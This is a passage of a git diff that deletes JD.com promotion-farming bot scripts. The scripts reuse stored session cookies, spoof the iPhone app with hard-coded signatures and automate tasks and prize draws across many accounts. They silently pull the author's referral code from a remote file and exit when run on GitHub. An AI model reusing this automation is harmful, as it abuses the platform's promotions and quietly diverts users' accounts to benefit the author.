API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(data) - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nh.js b/activity/jd_nh.js deleted file mode 100644 index dbf53e2..0000000 --- a/activity/jd_nh.js +++ /dev/null @@ -1,538 +0,0 @@ -/* -京东年货节 -活动入口:https://lzdz-isv.isvjcloud.com/dingzhi/vm/template/activity/940531?activityId=dzvm210168869301 -用5000金币开盲盒必中200-300京豆,任务做完每天1000,5天换一次 -活动时间:2021年1月9日-2021年2月9日 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东年货节 -1 7 * * * jd_nh.js, tag=京东年货节, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "1 7 * * *" script-path=jd_nh.js,tag=京东年货节 - -===============Surge================= -京东年货节 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=3600,script-path=jd_nh.js - -============小火箭========= -京东年货节 = type=cron,script-path=jd_nh.js, cronexpr="1 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东年货节'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//const WebSocket = $.isNode() ? require('websocket').w3cwebsocket: SockJS; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message,helpInfo; -let shareUuid = '83c6d4a80e3447b78572124e1fc3aa7c' -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const ACT_ID = 'dzvm210168869301' -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } else { - $.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 - } - continue - } - await jdNh() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdNh() { - $.score = 0 - await getShareCode() - await getIsvToken() - await getIsvToken2() - await getActCk() - await getActInfo() - await getMyPing() - await getUserInfo() - await getActContent(false,shareUuid) - await getActContent(true) - if($.userInfo.score>=5000){ - console.log(`大于5000金币,去抽奖`) - await draw() - } - await showMsg(); -} - -function getShareCode() { - return new Promise(resolve => { - $.get({url:'https://gitee.com/shylocks/updateTeam/raw/main/jd_nh.json',headers:{ - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)' - }},(err,resp,data)=>{ - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - shareUuid = data['shareUuid'] - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getIsvToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=genToken', - body :'body=%7B%22to%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%5C%2Fdingzhi%5C%2Fvm%5C%2Ftemplate%5C%2Factivity%5C%2F940531%3FactivityId%3Ddzvm210168869301%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=11c092269dfa11a21fec29b3a844c752&st=1610417332242&sv=112', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - return new Promise(resolve => { - $.post(config,async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.isvToken = data['tokenKey'] - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getIsvToken2() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'body=%7B%22url%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=a65279303b19bf51c17e7dbfdea85dd3&st=1610417332632&sv=112', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - return new Promise(resolve => { - $.post(config,async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.token2 = data['token'] - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 获得游戏的Cookie -function getActCk() { - return new Promise(resolve => { - $.get(taskUrl("dingzhi/vm/template/activity/940531", `activityId=${ACT_ID}`), (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - cookie = `${cookie};` - if($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - cookie = `${cookie} ${ck.split(";")[0]};` - } - else{ - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie} ${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 获得游戏信息 -function getActInfo() { - return new Promise(resolve => { - $.post(taskPostUrl('dz/common/getSimpleActInfoVo', `activityId=${ACT_ID}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.result) { - $.shopId = data.data.shopId - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post(taskPostUrl('customer/getMyPing', `userId=${$.shopId}&token=${$.token2}&fromType=APP`), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.result) { - $.pin = data.data.secretPin - cookie = `${cookie} AUTH_C_USER=${$.pin}` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 获得用户信息 -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.pin)}` - $.post(taskPostUrl('wxActionCommon/getUserInfo', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data) { - console.log(`用户【${data.data.nickname}】信息获取成功`) - $.userId = data.data.id - $.pinImg = data.data.yunMidImageUrl - $.nick = data.data.nickname - }else{ - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getActContent(info=false, shareUuid = '') { - return new Promise(resolve => { - $.post(taskPostUrl('dingzhi/vm/template/activityContent', - `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${shareUuid}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data) { - $.userInfo = data.data - $.actorUuid = $.userInfo.actorUuid - - if (!info) { - console.log(`您的好友助力码为${$.actorUuid}`) - console.log(`当前金币${$.userInfo.score}`) - for(let i of ['sign','mainActive','visitSku','allFollowShop','allAddSku','memberCard']){ - let task = data.data[i] - if(task.taskName==='浏览会场' || task.taskName==='浏览商品' - || task.taskName==='签到'){ - if (task.count < task.taskMax) { - console.log(`去做${task.taskName}任务`) - let res = await getTaskInfo(task.taskType) - for (let vo of res) { - await doTask(vo.type, vo.value) - await $.wait(500) - } - } - } else if(task.taskName ==='一键关注店铺' || task.taskName ==='一键开卡' // || task.taskName ==='一键加购' - ){ - if (task.count < task.taskMax){ - console.log(`去做${task.taskName}任务`) - let res = await getTaskInfo(task.taskType) - let vo = res[0] - await doTask(vo.type, vo.value) - await $.wait(500) - } - } - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 做任务 -function getTaskInfo(taskType, value) { - let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` - return new Promise(resolve => { - $.post(taskPostUrl('dingzhi/vm/template/taskInfo', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.result && data.data) { - resolve(data.data.data.data) - } else { - console.log(`任务完成失败,错误信息:${data.errorMessage}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) - -} -// 完成任务 -function doTask(taskType, value) { - let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` - return new Promise(resolve => { - $.post(taskPostUrl('dingzhi/vm/template/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.result && data.data) { - console.log(`任务完成成功,获得${data.data.score}金币`) - $.score += data.data.score - } else { - console.log(`任务完成失败,错误信息:${data.errorMessage}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) - -} -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得金币${$.score}枚`; - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} -//抽奖 -function draw() { - let body = `activityId=${ACT_ID}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.pin)}&drawValue=18` - return new Promise(resolve => { - $.post(taskPostUrl('dingzhi/vm/template/start', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.result && data.data) { - console.log(`抽奖成功,获得 ${data.data.drawInfo || '空气'}`) - message += `抽奖成功,获得 ${data.data.drawInfo || '空气'}` - } else { - console.log(`任务完成失败,错误信息:${data.errorMessage}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) - -} -function taskUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}?${body}`, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/x.jd-school-island.v1+json', - 'Source': '02', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} IsvToken=${$.isvToken};` - } - } -} - -function taskPostUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} isvToken=${$.isvToken};` - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const 